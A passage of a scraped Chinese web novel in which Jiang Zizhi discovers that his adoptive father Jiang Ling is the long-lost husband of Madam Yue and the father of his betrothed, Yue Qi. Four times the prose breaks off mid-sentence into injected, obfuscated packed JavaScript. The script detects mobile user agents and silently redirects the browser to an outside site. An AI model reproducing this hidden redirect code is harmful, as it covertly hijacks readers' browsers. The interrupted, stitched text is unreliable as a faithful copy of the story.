说到我爹的时候,月柒明显先是一愣,随即一口水喷在了我的月白长袍上——袍子是晚秋新缝制的。 “哎,我说你能不能淑女点,你这样没人要你的。”我一边擦着桌角的水,表情略带嫌弃。 “抱歉抱歉,我真的是觉得太好玩了。古板严肃的江大人,十二个活泼女孩子,你说他们在一起会发生什么。”月柒整个人像炸开了的孛娄,眉眼弯弯。 就因为这个话题,我和月柒之前的所有不愉快都烟消云散。 我才懒得回答她的问题,因为答案很明显嘛,无事发生,十二个女孩子在江府好生安顿下来了。 “我知道没人要你,没关系,我娶你。”本来应该是深情款款的告白,不知为何,却被我说得不伦不类。 “啧啧啧……你爹同意了?”月柒倒是没有一点惊喜,反而连声感叹:“啧啧啧,是不是你又做了什么荒诞的事情把他打击到了?” 我白了月柒一眼,我保证,除了十二个丫鬟那件事,我真的什么都没干。 我也不懂,我爹他怎的突然就想开了,直至后来一个风雪簌簌的夜,我踏雪而归,他一脸严肃地跟我说:“我跟你讲个故事吧。” “哈?”我好奇他怎么突然有闲情逸致,又会跟我讲一个怎样的故事。 “你听着就好……别问为什么……也是时候让你知道了。”他拨弄了一下面前的炭炉,火光把他的脸蛋照得通红,我偶然瞥见他鬓角的那缕白——他是真的老了。 八年了,我认识他八年了,可我一点也琢磨不透他,他永远对我板着一张严肃的脸,努力地扮好严父的角色,可我知道,他眼冷心热,为人心善且可为依靠。 “嗯嗯、嗯嗯。”我不知他为何突然来了兴致,想说些啥,我也只是应和,点头如捣蒜。 “有个穷书生,自幼父母双亡,他一个人生活,也读过一些书。考取了个秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244473|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才,却也无心功名,一心图个安稳,住在一个偏僻的小山村里。 可是有一天,他去采桑的时候,在山上遇见了一个姑娘,这个姑娘伤得很重,书生心生怜悯,救下了这个姑娘。 可是书生也知道,这个女子谈吐不凡,肯定是大户人家的女孩子,自己不会和这个女孩子有任何交集。而书生贫困潦倒,也不敢奢望其他的东西,他打算等她养好伤以后就送她离开。 哪知这个女孩好了以后,非要纠缠着书生,书生敌不过她的软磨硬泡,最后把她留在了身边,后来女孩说她喜欢他。 尽管书生什么都没有,但女孩执意要嫁给他,于是他们结为了夫妻。 书生自觉无颜面对她的双亲,就去了京都念城,参加科举。第一年秋天,书生考中了举人,想回去把这个消息告诉他妻子的时候,发现她早就不在原来的地方了。 于是书生一直找啊找,却在人海之中,再也没遇到过她。” “那人是我娘?”我终于还是忍不住打断了他,多年了,他的身边并无女眷和子嗣,唯有我伴着他,就连皇上赐婚他都以有家室婉拒。书生对那个女子念念不忘,所以他后来没有娶别人,因为他坚信,他的女孩总有一天会回到他身边。 后面的故事不用说了,我是知道的,后来那个书生在念城的长离街捡了一个小乞丐,他带着小乞丐一起读书写字。那之后的一个秋天,他金榜题名,收了那个小乞丐做义子,还给他取了个名字叫“江子执”。 “是的,她叫阿瑶,可我至始至终都唤她阿瑶,她连名字都不肯告诉我。” 那个平时沉默寡言的男人,突然变得如此多言,原来他背后背负的,是这么一段过往。我突然明白了,金榜题名那天,那个泪流满面的带我策马狂奔的他,那句“我找不到了”,都是因为这个女子。 “也许她去了别处?”我试探着问,那个女子或许是遭遇了什么事情。 “那几年,朝里兵力空虚,战乱频发,瘟疫肆行,我有时候相信她已经死了,有时候却觉得与她的相遇,只是一场梦。只是梦醒了,为什么会如此心疼?”他叹了口气,拨了拨烧得正旺的炭火。 “有时候想,如果没有她,我大概也会一无所有,碌碌而终。我该谢谢她,成就了今天的我,可我却于茫茫人海中,再也找不到她。 其实我很羡慕你,在正好的年纪,喜欢上正好的人。 愿你能初心不负,与小柒欢喜而终。” “我会的。”能接受到他的祝福,我多少是有些诧异的,但说这句话的时候我是如此笃定。 就算月夫人没有交代我,要好好照顾月柒。我也会对她不离不弃的,毕竟,我和月柒的那份羁绊,从八年前就开始了,就伊始于那个冰天雪地的那碗红薯粥里。 我知道他对醉红楼心存芥蒂,可是他最后还是选择了释怀,大概是自己没有一段圆满的感情,所以宁愿牺牲掉自己的介怀,来成全我吧。 18. 真相 “以后呢,你将会是我江家明媒正娶的小媳妇。”月柒小我三岁,还不满十三,未曾及笄,谈不上婚嫁,说以后,自然是来日方长。 “没想到冥顽不灵的江大人也有开窍的一天,居然会同意这门婚事,子执哥哥,你跟我说说呗,你是怎么劝服江大人的?是不是以性命相挟?一哭二闹三上吊,然后江大人眼一闭,脚一跺,心一横,说道:‘我允许你娶她了’。”敢情前几日月柒真的当我是开玩笑的? 我白了她一眼,“不许说我爹坏话。”说是以性命相挟,那倒不至于,只是他这次答应得太过轻快,连我都有点不敢相信,我笃定大部分原因都是因为那个爹心中念念不忘的,却再也找不到的女子。 “是是是,全念城的百姓们都知道江大人是个好官,体恤为民,以身作则,心系黎民,大公无私,克己奉公……”月柒碎碎念着一大串词汇,这些词用来形容他真的一点都不假,虽在他的手下行事,就连我也常三五日跟他打不上照面,他夜夜批阅公文至三更也是常事。 虽是如此,他对我也从未有过任何懈怠,工作之余,督促我修习各种书籍文艺,给我讲解各种治国之道。他的能力母庸质疑,能有今天的成就也是一步一步的艰辛换取的,从来没有人会有非议。 “子执哥哥我们今天去哪里呀?还带着我娘,她身体不好,禁不起折腾的。”月柒嘟囔着嘴,满脸写着不高兴。 “去江府。”以月柒的好奇心,早点告诉她怕是会把醉红楼都拆了。 不过月夫人是知道的,我跟她说,时近新春,家父想见见月柒,想邀她和月柒去府上坐坐。月夫人极力推脱,奈何我软磨硬泡了一上午,信誓旦旦跟她讲要娶月柒为正室,也不娶妾,保证小柒不受人欺负,她才勉强同意。月柒出嫁,她大概是高兴的吧,至少能远离醉红楼这种是非之地。 是非之地,连她自己都这么评价醉红楼,这么些年一直都留在醉红楼,其实只是为了一份安稳吧,最危险的地方往往是最安全的地方。醉红楼内虽是危机四伏,内部纷争也是众多,却也是掩人耳目的好去处。 “江大人会不会不欢迎我啊,平时你去醉红楼他都那么不高兴。”月柒整个人突然蔫下来,让我忍俊不禁,这和她平时欢脱的风格不太像啊。 “我们要不要买点什么礼物带给江大人,空手去他会不会不开心?”月柒之前像一块化掉的饴糖,整个人无精打采,却突然坐了起来。 我看着这一幕不知道为什么有点想笑,最终还是伸手摸了摸她的头,回了她一句:“没事,我都置办好了。” 爹不喜古玩玉石,唯有笔墨纸砚,字画书卷,才是他的挚爱,我前些日子因公事去江南,偶然觅得一方古砚,想来他会喜欢,却又找不到合适的机会送给他,这次想想,借花献佛也是不错的,就顺手包好带出来了。 礼物价值不大不小,确是一番心意。女孩子第一次去夫家,不要带太贵重的礼物,显得自己百般讨好、急于出嫁,掉价。 其实我和月柒都很幸运,没有一段“媒妁之言、父母之约”的捆绑式婚礼。我听说,有的夫妻,在成亲前甚至都没见过一面。 马车兜兜转转绕了一段时间,终于到了江府。 爹不喜喧闹,将宅子建在了城南的某个山脚下,虽说有些偏远,幽静倒是真的。而醉红楼,在城北的坊间,相隔甚远。所以一般情况下,我去醉红楼他也是碰不到的…… “爹,我回来了。”时近新春,爹有几天的假期,整个江府也被我装点了一番,甚是喜庆。 我和月柒一左一右将月夫人扶下马车,恰好爹从门口出来。他用一种难以言状的眼神看着月夫人,张了张口想说什么,却又没有发出任何声音。而当月夫人的目光与爹相对时,闪过一丝明显的惊愕,下一秒却别过头去。 难道他们认识? “阿……阿瑶?”语气中虽然是质疑,可我看到他的眸中打量的目光,慢慢变成了坚定,尔后他移了步子,快步走向月夫人。 阿瑶?这不是爹多年前见到的那位女子的名字吗? 月夫人避开了他追问的目光,并不抬头看他,只是一味地往旁边躲。爹往前一步,她便往后一步:“大人认错人了,林某一介风尘女子,只是有幸,长得像大人的某位故人罢了。” “阿瑶,错不了!你就是阿瑶!阿瑶,你究竟还要躲我躲多久?” 听闻此言的我,惊得立在他二人之间,不知所措。爹之前跟我说的那个故事中那个茫茫人海中再也找不到了的女子,是月夫人? “小妇人林月萌……”月夫人眼神躲闪,刚想解释。 “你别骗我了!我走的那个时候,你就有了身孕对不对?小柒她还差一点就到十三岁,她是我们的孩子对不对?”还没有等月夫人解释完,爹就粗暴地打断了她,一把抓过她的皓腕,将她揽入怀中。 月柒的情况他是知道的,我之前悉数都说与他听了。可我从没见过这样的他,理智全无,像一只暴怒的凶兽。 月柒是爹的亲生女儿?爹一向做事都极有分寸,看着他此刻的紧张模样,我对他说的话深信不疑。 月柒她去马车后面取砚台了,待会儿看到了这一幕,不知会作何感想…… 我呆立着,想努力理清楚这件事的思路,却怎么也想不通。不过是城南城北的距离,十几年前,月娘名满京都,十几年后,江大人名满京都,怎么就是碰不到一块儿去,让事情发展成现在这个样子? 正琢磨着,月柒看到了眼前的一幕。 “月柒,这……这……这是你爹……”月夫人好不容易挣脱了爹的怀抱,从马车后方把月柒捞出来,整个人声音都是颤抖的。 “爹?”我听见月柒手里的砚台摔在地上的声音。 “叮当”一声脆响。 “娘,我没有爹。他不是我爹。我没有这样的爹。十几年了,他做着他的大官,高枕无忧。把您一个人抛在了醉红楼,十几年了,你遭受了多大的苦难,他想过吗?”月柒完全接受不了这个事实,整个人连着声音都在发抖。 我也接受不了,我觉得有些不可思议,但事实就摆在我们的面前,在弄清楚真相前,我们唯有保持冷静。 “不不,不是这样的。这之间肯定有什么误会。”我努力平复好自己的情绪,又去劝她。 “误会?什么误会?十多年了,他娶了别人,生了你,江府小公子,抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244474|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃了我娘。”月柒眼眶红红的,弥漫着一丝愤怒。 “不不,不是这样的,你听我解释。”我极力拉过月柒的手臂,想跟她说,我不过是江大人收留的孤儿罢了。可是月柒丝毫没了理智,捂着耳朵,冲出了小巷。 月夫人估计是被这一幕打击得不清,猛地咳嗽起来,吓得我赶紧扶住了她,爹,哦不,江大人几乎是同时,也扶住了月夫人摇摇欲坠的身体。 “子执,阿瑶我来照看着,你去追小柒,别让她干出什么傻事来。”他的声音有些急切,可以听出来满满的担忧,看得出来,在他心里,月夫人和这第一次谋面的女儿,都是重要的。 “小柒!小柒!”我一路追随者月柒的步子,看着那抹粉红离我越来越近。 正是正月里,念城昨日刚刚下了一场雨,空气中弥漫着刺骨的湿意。 江府出门,再走一段路,便是永定河,河的另一边,便是闹市。河上来来往往的人们络绎不绝,不少人忙着采购过节的物资,河岸边的货摊比往日多了不少。 许是太过着急,我一脚踩上了一块松散软泥,下一秒,整个人跌进了河水中。 我大概是被急傻了,完全忘记了自己会武功,竟然笨到让自己生生地浸了个湿透。 寒冷像是侵入骨髓一般,从身体各处蔓延开来。我是不会水的,朦胧中,我看到了岸上的人手忙脚乱的身影,那抹粉红亦在其中,失去知觉前,仿佛有人喊了一句类似“是江大人家的小公子”的话。 我做了一个很长很长的梦,梦里有月柒,有月夫人,还有爹,哦不,此时此刻我觉得自己该称呼他为江大人,在月柒和月夫人的面前,他们才是真正的一家人,我不过是门外客。 在梦里,月柒哭着质问我,为什么我明明知道这一切却不告诉他,为什么抢走了她的爹爹?月夫人说老酒鬼给她开了一剂神奇的汤药,喝了以后她的病就好了。 还有江大人,他轻轻地跟我说了句“谢谢你,子执”,那语气里,分明是责备和质疑,他也许是想问我,为什么这么多年来,让自己一家人分散,久久不能团聚? 自始至终,我都是幸运的,譬如,遇见了那个至始至终连名字都不知道的乞丐,活了下来。遇见了月柒和月夫人,没有冻死在八年前念城的寒冬里。譬如,遇见了江大人,独享了这份本该属于月柒的宠爱。 月柒说,她从小就在醉红楼,也没见过自己的亲爹,而月夫人对她也闭口不提。这么说来,江大人和月夫人,生生错过了十几年之久,而这十几年来,明明他们离的这么近,却始终没有得知对方的任何消息? “子执哥哥,你还说要娶我为妻,可万万没想到,我就是江府之人,你说可笑吗?想来最捉弄人还是老天了,上演了这么一出闹剧。都说江大人是个好官,可我偏偏不懂,为何他在感情上面如此薄凉,在他的心里,我娘大概是比不过他的那些三妻四妾的。”月柒坐在我的床边,嘀嘀咕咕说了一大堆胡言乱语。 江大人一向洁身自好,哪里来的三妻四妾?他这么多年来也没个枕边人,还不是因为他的心极小,只装得下一个月夫人罢了。 我心中有些愤懑,刚想应她,却听见了敲门声。 19. 茫茫人海 来人竟是王爷,后面还跟着背着药箱闷不做声的弥生。想必这次落水顶多我也只是感染风寒罢了,如此这般大材小用,他定是不开心的。不用想,这定是王爷来给月夫人看病,被月柒拉来强行医我的。 “老酒鬼你快看看,阿执哥哥怎么样了。”王爷怕是后脚还没进门,就被月柒拉到我床前一顿盘问。 在把月柒和月夫人接来江府之前,我特地派人告诉王爷,月夫人今日在江府,让他带着弥生来小聚一番,本来是大家欢聚一堂,其乐融融。其实我也想借此机会把王爷介绍给爹,看看他们俩一个妙手回春,一个人脉财源都广阔,能不能琢磨出什么另类的法子医好月夫人。 趁着月柒不注意,我朝王爷眨了眨眼。 他大概有所领会,装模作样地替我把了脉,装出一副忧心忡忡的语气:“唉,江公子情况很不乐观,怕是时日无多啊。” 想一想老先生那一本正经的模样,我有点想笑,又有点想咳嗽,却又不能暴露自己,只能强忍着,喉咙痒得难受。 月柒一听,立马炸了毛:“什么劳什子神医,我看分明就是个江湖骗子,上次给我娘看病你也是说什么久病成疾,病入膏肓,我娘吃了那么多药都还没好!这次又说子执哥哥时日无多,你不是说这普天之下没有你医不好的病吗?我看纯属吹牛,你信不信我哪天把你那破医馆给拆了!” “小江啊,你有点良心好吗?月姑娘都要拆我的医馆了,你还躺在床上装尸体?”王爷用手肘推了推我,我很配合地睁开眼睛,对上了他苦不言堪的表情。 弥生见我们几人调侃玩闹,捂着嘴在一旁偷笑。 “你……你们。”面对我们两人的装模作样,月柒一时语噎。 “小柒,对不起,是我的错,我不该骗你,你过来。我想抱抱你。”看着月柒不淡定,我再也装不下去。 “你……你醒了……”月柒完全没了刚才的嚣张气焰,语气里有些吃惊。 “嗯!”我应道,紧紧地抱住月柒,似乎是要把眼前的女孩子揉进骨子里。我知道,我所有的幸运都来自于她,也是我拥有着原本该属于她的一切,我害怕有一天会失去她,失去我生命中唯一的信仰。 “有件事你一直不知道,其实我,是江大人,也就是你爹收养的。”我以前从来不敢跟月柒讨论任何和“爹”“娘”有关的字眼,怕她为自己的身世难过,而今非昔比,再不告诉她,我们之间、她和江大人之间怕是会生出更多嫌隙。 “咳咳……咳……”刚才起便一直强忍着不能咳出声,现在的我似是太激动了,脸上滚滚烫烫的,完全咳得停不下来。 “你……你……你没事吧?”见我这般模样,月柒的眼中满含担忧,可我却感觉到了一丝的疏离。 是因为我和江大人的关系吗?还是她觉得,我其实是知道江大人和月夫人的种种,至始至终都将她蒙在鼓里?再也没有喊我“子执哥哥”了,而是用一个熟悉而又陌生的“你”来替代。不知怎的,我的心有一丝隐隐的作痛。 “他福大命大,能有什么事,不过是染了风寒,休息几天就好了。”一旁的王爷似乎是接受不了自己沦为背景墙的身份,终于按捺不住开口了。倒是弥生,甚为乖巧地立在一旁,一言不发。 “照着这个方子抓药,每天服三次,不出几天就好了。”王爷话音刚落,弥生立马递过来一张药方,月柒立马接住,还不忘瞪了王爷一眼。 “我说啊,没事你们俩就别再叫我们了。本来看你们天天待在一起,腻得慌,现在隔壁又多了一对,真作孽。”隔壁当然指的是月夫人和江大人,他们久别重逢,当然有很多说不完的话要说啦。 “走了走了,希望不要再见了。”他依旧穿着那件破旧不堪的衣服,满头的白发却显得奕奕有神,他背对着我和月柒,挥了挥手,那一瞬我在脑海中幻想着,说这句话的时候,他到底是什么表情。 尽管才相识不过半月,但这个人身上的种种,让我很是好奇,他看起来是个邋遢的半吊子神棍,可医术极为精湛,他到底是个什么样的人呢?又经历过什么事情呢? 弥生紧跟着他,大步地迈了出门,听之前王爷的语气,再叫他留下来吃年饭显然是不可能的了,我也懒得再客套,任由他们而去。 “当然了,有美酒除外。”王爷突然回过头来,冲我和月柒狡黠一笑,这个老酒鬼!等我成亲那天,我非要给他准备十几坛子,灌死他为止。 “茯苓、独活、荆芥、防风、柴胡各两钱,桔梗、老姜、川穹、羌活、前胡、枳壳各一钱。”月柒端着那张方子,一本正经的念道。 “难道你不想知道,你爹娘之间究竟发生了什么?”对于月夫人和江大人之间种种,我真是充满好奇。 虽然江大人前几天跟我讲过一些他和月夫人的故事,但我觉得那并不是全部,月夫人是谁,她从哪里来?为什么她要一直呆在醉红楼? 四目相对,某一瞬间我看到了月柒眸中的疑惑,那双眼仿佛在说着:“那我们去看看吧。” 我也不知道这是一种怎样的默契,有些人一个眼神,一个举动,就能被你悉数捕捉,完全猜透。 “走。”我有些迫不及待地从床上爬起来,穿好衣服。 “哎,你的病……”月柒怕是真的听信了王爷的话,差点没一把将我摁回床上。 我一把从月柒手中夺过那张方子,把它随意地放在了桌上。不过是寻常治疗风寒的方子罢了,寻常我在阅览医书时也有看过。 “啊,我好了,你看我现在不是活蹦乱跳的嘛。”为了跟月柒证明我很好,我还特地抱着她在屋子里转了半天的圈。 据王爷所说,月夫人和江大人就在我隔壁的一间厢房里。我和月柒偷偷摸摸来到了厢房门口,想要尽可能满足各自的好奇心。 月柒伸出手来,刚想在窗子上戳个洞来着,被我一把拉住。 “你干嘛?”我之所以拉住月柒,倒不是因为糊窗子的纸有多贵,而是寻常人家要是窗子上莫名其妙地多了个洞,不怀疑才怪,那些书里折子戏里的桥段,显然是骗人的嘛。 “偷看啊。”月柒的回答倒也简单明了。 许是我们的动静太大,屋子里的人注意到了我们,声音冷冷地道了一句:“进来吧。” “你们在门外鬼鬼祟祟的干嘛?”我俩刚一进门,江大人就睨了我们一眼。 “我们……路过……”我在江大人身边八年有余,也是前几天才听他讲起,想来这段遭遇带给他们的伤害是非比寻常的吧,所以他们也不愿提起。 “我们想知道爹和娘之间发生了什么。”月柒倒是心直口快,一下子说明了我们的来意。 江大人长长地叹了口气,“有些事情,也该告诉你们了,如果早点告诉你们,我和碧瑶也不会今天才相遇。” 碧瑶?这是月夫人的名讳?可我总觉得这个名字好熟悉,似乎在哪里听说过。 月夫人躺在病榻之上,苦笑一声:“还是我来讲吧,毕竟有些事,你也是不知道的。” “我叫李碧瑶,是当年的丞相之女。丞相府月柒肯定是不知道的,因为她还没出生的时候丞相就因为谋反罪被满门抄斩,株连九族,阿执那个时候可能还有点印象。 你们可能很好奇,为什么我还活着。因为,这场事故,是因我而起的。 那年是我爹的六十寿诞,本是喜庆的日子,却为丞相府埋下了极大的祸根。我刚开始还没想明白我是在哪里和皇上有过交集,仔细想想,定是在这儿了。群臣宴饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244475|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他贵为君主,哪有理由不和他们同乐,况且,李家一向权重位尊,他哪有不来的道理? 我有个双胞胎姐姐,叫李碧凝。我们虽长相相似,性子却是极为不同。碧凝端庄,而我的性格里更多的是暴戾。我们俩姐妹擅长的才艺也是不同的,我擅长乐舞,而碧凝擅长女红刺绣。 寿诞宴后不久,李家就收到了让我入宫为后的圣旨。我却不知,我与那皇帝有何渊源,能有这等荣耀。可我知道,这深宫为何等凶险之地,一步错,步步错。我自幼在丞相府长大,当然不羡慕那些锦衣玉食、荣华富贵。虽然比不上宫里,丞相府的待遇也是不差的。 可我终究是畏惧了,我不知道未来等待我的是什么,于是我做了我这辈子做过的最大的决定——逃婚。我成功地逃出了李府,而眼看婚期在即,李家不得不让碧凝冒充我,完成了这门婚事。明面上,什么事情都没发生。而暗地里,则出动精兵良将,四处搜寻我的踪迹。毕竟,这件事不仅关乎皇家的颜面,也关系到丞相府的声威。 尽管我小心翼翼,最终还是被他们发现了。在追击途中,我的马因为劳累过度,死了,我不甘心就这样被他们带回去,一咬牙跳下了山崖。 再后来,我遇见了吴越,也就是小柒你爹。他救下了奄奄一息的我,彼时我不过豆蔻年华,忠于他的人品,对他芳心暗许。在我的软磨硬泡之下,他终究答应了娶我为妻。天地为证,古树为媒,我曾经觉得自己是这个世界上最幸福的人,直到有一天,他说要去参加科举考试,博取功名,我也未曾质疑,收拾好行李目送他远去。 那些暗卫们并未放弃,说是生要见人,死要见尸,寻到我已是收到赐婚的圣旨约一年以后,可那时吴越已经离开,我发现自己有了身孕。不得已之下,我去了月红楼,以丞相府身份相挟,林妈妈无奈,只好收留了我,我这才逃脱了他们的追击。 在我去醉红楼前几个月,李府就遭到了灭门,我本来觉得生无可念,不知怎的,那群暗卫自回到念城后就没了踪影。小柒的顺利出生,让我想要好好活下去。本是罪臣之女,但在醉红楼只有林妈妈知道这件事,她也不敢声张。除了舞乐,我身无所长,为了报答她的救命之恩,就给我买了户籍,那以后,我就是月娘。 我自然是念着吴越的,可我觉得自己这样却也无言再面对他了,索性也不寻找他了,将自己的全身心都放在月柒身上。可没想到命运捉弄人,我和你,还是见面了。” 我才长月柒三岁,那时不过两三岁,怎么可能会有印象?听说相府的事,都是因为牵扯太多,被人埋怨得多罢了。而听月夫人讲着,我才明白,原来她和江大人的这段缘分,是拜玉轩枫所赐,也因玉轩枫暴戾而不得始终。可这个故事里,月夫人,江大人,玉轩枫,李碧凝,哪一个不是可怜人? 怨憎会,求不得,爱别离,皆为人生之苦。 “阿瑶,你可知,我从未负于你。从你的衣着打扮,我就看出了,你不是寻常人家的女子,所以我有心考取功名,为的是与你门当户对。初遇你时我是个秀才,一步步,高中举人却已是离开你的一年后。 这一年间,我未曾有何建树,只觉得心中羞愧,无颜面对你,也并未去找你。高中举人后,等我再回到原来的地方时,却再也不见了你的身影。我甚至都不知道你真实的姓名,只知道你唤做阿瑶,茫茫人海,却再也没有找到你。 我想,若我有朝一日金榜题名,你一定会看见我的吧,可六年后我骑上了御赐的高头大马,你依旧不知所踪。我想可能是我爬得不够高,所以你看不见我,然后我就拼命地爬啊爬……爬啊爬……” 爬到了二品参知政事,爬到了玉宵国无人不知、无人不晓的地步,可惜月夫人她早已久病成疾,再也无心过问。 20. 别回去了 才子佳人的邂逅,一段有始无终的爱情,让我唏嘘不已。 月柒在一旁听得声泪俱下:“真好,所以爹、娘,你们以后再也不会分开了是吗?” 月夫人并不回答,只是朝她微微一笑:“不管我们怎样,月柒你们都要好好的,不要让我们的悲剧再演。” “听到没有,你以后不许丢掉我,要是你敢抛下我一个人跑了,我叫我爹给你打断腿。”月柒这声“爹”倒是叫得熟络,十几年爹这个角色的缺失,让她为江大人的到来欣喜不已,自然也融入得快。 “嗯,不会的。”现在看来,我倒是成了江府的乘龙快婿,倒插门。 哎,等等,江府,好像有哪里不对,月夫人刚刚口中的那个人,是叫吴越来着……我还记得江大人第一次向我介绍他的名字时,纸上两个规规矩矩的字,上面写的是:江陵。 “对了,江大人为什么改了名字啊?”按理说若我次次在月夫人和月柒耳边提起的是吴大人,兴许月夫人好奇之下追问一句,两人怕是早就团聚了吧。 “金榜题名那年,皇上说吴越听起来像是‘无越’,怕是不吉利,说我心怀江山社稷,就给我赐名‘江陵’,这就是我为什么改了名字。” “原来爹娘这么多年相隔咫尺,却从没有发现彼此的存在,这所有的错都该怪这个乱改名字的狗屁皇上!”月柒愤懑,将所有的不对都归结到玉轩枫的身上。 对,玉轩枫,我在心里一直这么呼他的名讳,也不管是不是什么大不敬。我觉得他不配当一个皇帝,不会为他的臣民考虑,为一人而置天下安危而不顾,未免也太自私了点,我甚至觉得月柒这声“狗屁”骂得相当好。 “月柒,不得无礼,说这么大逆不道的话,被听见了可是要砍头的。”月夫人无奈地笑了笑,阻止她道。 “本来就是嘛。”月柒嘟囔着嘴,转手给月夫人递了一颗削好的苹果:“娘,你吃。” 他们一家人的团聚,倒越发显得我是个局外人,诚惶诚恐,我有时候都不知该怎么称呼他们。倒是义父对我喊他“江大人”颇为介意,义正言辞地让我把称呼改回去,还说,毕竟我们俩都在一起生活这么多年了,“江大人”这个称呼怪生疏的,我有时候也当着他的面叫错,随即他向我投来警告的眼神。 月夫人和月柒的到来,让江府多了几分生机,且不说是因为新春,府里多了些欢乐的气氛。寻日里,女孩子和女孩子之间,总是更容易有默契一些,十二个丫鬟跟她们讨论这讨论那,像姐妹一般亲昵。 就连小皮,也对月柒是百般讨好,时不时亲昵地蹭蹭她,得空便窝在她的双膝上睡大觉,想着我平时看见小皮半天唤不过来的傲娇模样,这一幕让我好生羡慕,唉,毕竟是她的猫。 月夫人身份不一般,爹也未过多地声张,只是江府鲜有女客来访。平日里除了些办理公务的相关人士,几乎没有他人。突如其来的月夫人和月柒成为了大家关注的焦点,好奇的人多了,议论的人也就多了。 屋檐拐角处书音和南歌正投机地聊着什么,竟没有察觉到我渐渐靠近的脚步声。 “哎,你说最近来江府的是谁呀?咱们老爷好像很是开心呢。”南歌蹲在地上,正在用地上的积雪捏一个小人。 “据说是老爷的故友呢……”书音揪着她的小辫,歪着脑袋,在看南歌捏雪娃娃。 “哼!哼……”我轻咳了几声,试图凸显我的存在。 “公子。”她们俩面朝向我,神情里满是慌张,肯定是说了什么乱七八糟的话。 “讲什么呢,庭院里的落雪扫了吗?”庭院的雪其实已经扫过了,我和阿笙早上得了空扫的。 “没有没有,我们马上去。”书音拽了拽南歌的长袖,两人一溜烟就消失在了我的视野里。 讲真,在江府做丫鬟其实也是一件幸福的事情。爹给下人们开得报酬都不低,十二个丫鬟也是如此。可在以往,江府的大小事物都有人打点了,十二个丫鬟说是安排过去打下手,实则江府这帮大老爷们也很懂得怜香惜玉,力所能及之事,也没怎么麻烦姑娘们。 她们最大的作用,就是让江府更有生气。 再说说爹和月夫人,正当新春,爹有了些许时日的休假,日日和月夫人形影不离,如胶似漆,看得我好生羡慕。 再看看月柒,天天在江府逗着我的小猫咪和小鸽子,敢情我都不如她的小动物们,醋哒哒。 原本以为好景会很长,爹娘他们会弥补十几年未见的遗憾。可是没过几天,月夫人突然收拾了细软,跟我说要回醉红楼。 “见也见过了,聊也聊完了,是时候该走了,也没什么遗憾的。”就算是同我的道别,月夫人语气相当寻常,像是跟我说着她要出门一般。 “可是,我……”可是一家子人好不容易才团聚的,为什么要走呀,而且,月夫人要是走了,我要怎么跟爹交代。 他只是不善于言传自己的感情,但是从他的反应来看,月柒和月夫人的到来,让他不知有多么开心,让整个人都少了些严肃刻板的味道。 “阿执你向来最懂事,你也知道,我要是能离开醉红楼,早就带着月柒离开了。可是我不能,罪臣之女,理应当诛,可偏偏醉红楼能给我护佑。你爹他好不容易才达到今天的地步,我不想毁了他的一切。月柒她是你未过门的妻子,她可以名正言顺地留在这里,请你替我好好照顾着她。”月夫人拍了拍我的肩,力道很轻,一只手仿若无骨。 “可是你不说,我不说,月柒不说,我爹也不说,这个秘密还有谁知道,从此您就可以隐姓埋名,您就是月夫人,什么李碧瑶,她早就死了。”我声嘶力竭地说着,连我自己都控制不住我自己,爹要是知道月夫人趁他不在离开了江府,肯定会难过的。 “你不懂,这世上,认识李碧瑶的人,太多太多了,但是他们都不会想到,李碧瑶在醉红楼……只有醉红楼,才是最安全的地方。” 我听说过去丞相府极有势力,想来不少达官贵族认识丞相府里千金大小姐也是很正常的事,月夫人在外面抛头露面久了,就容易遇见故人,故而她才这般急着要回去吧。 “就算是这样,我也不能留下来,你忘了神医说过什么了吗,他说,我没几天能活了……如果阿越知道了,他一定会难过。”月夫人补充道。 有一瞬,我几乎觉得,月夫人说得有道理,想要放她离开了。正巧,爹今日提前办完了公差,回到了江府。此时,月夫人正背着细软,和归来的爹碰个正着。 月夫人拉了拉我的袖子,恳求道:“你就劝劝你爹,让他放我走吧。” 爹看到了背了细软即将出门的月夫人,又转眼看了看表情纠结的我,立刻就明白了事情的原委,他大步走过去一把抱住月夫人:“阿瑶,曾经我离开你,是我的不对,没能好好照顾好你也是我的不对,所以这一次,我绝不放手。” 往后的日子里,爹特地让北疆伺候月夫人。 北疆是会些拳脚的,相对于一般女子的柔弱,自然是多了些英气和凌厉。爹让北疆常常伴在月夫人的左右,说是照顾她的饮食起居,实则为软禁,借此看住她,不让她乱跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 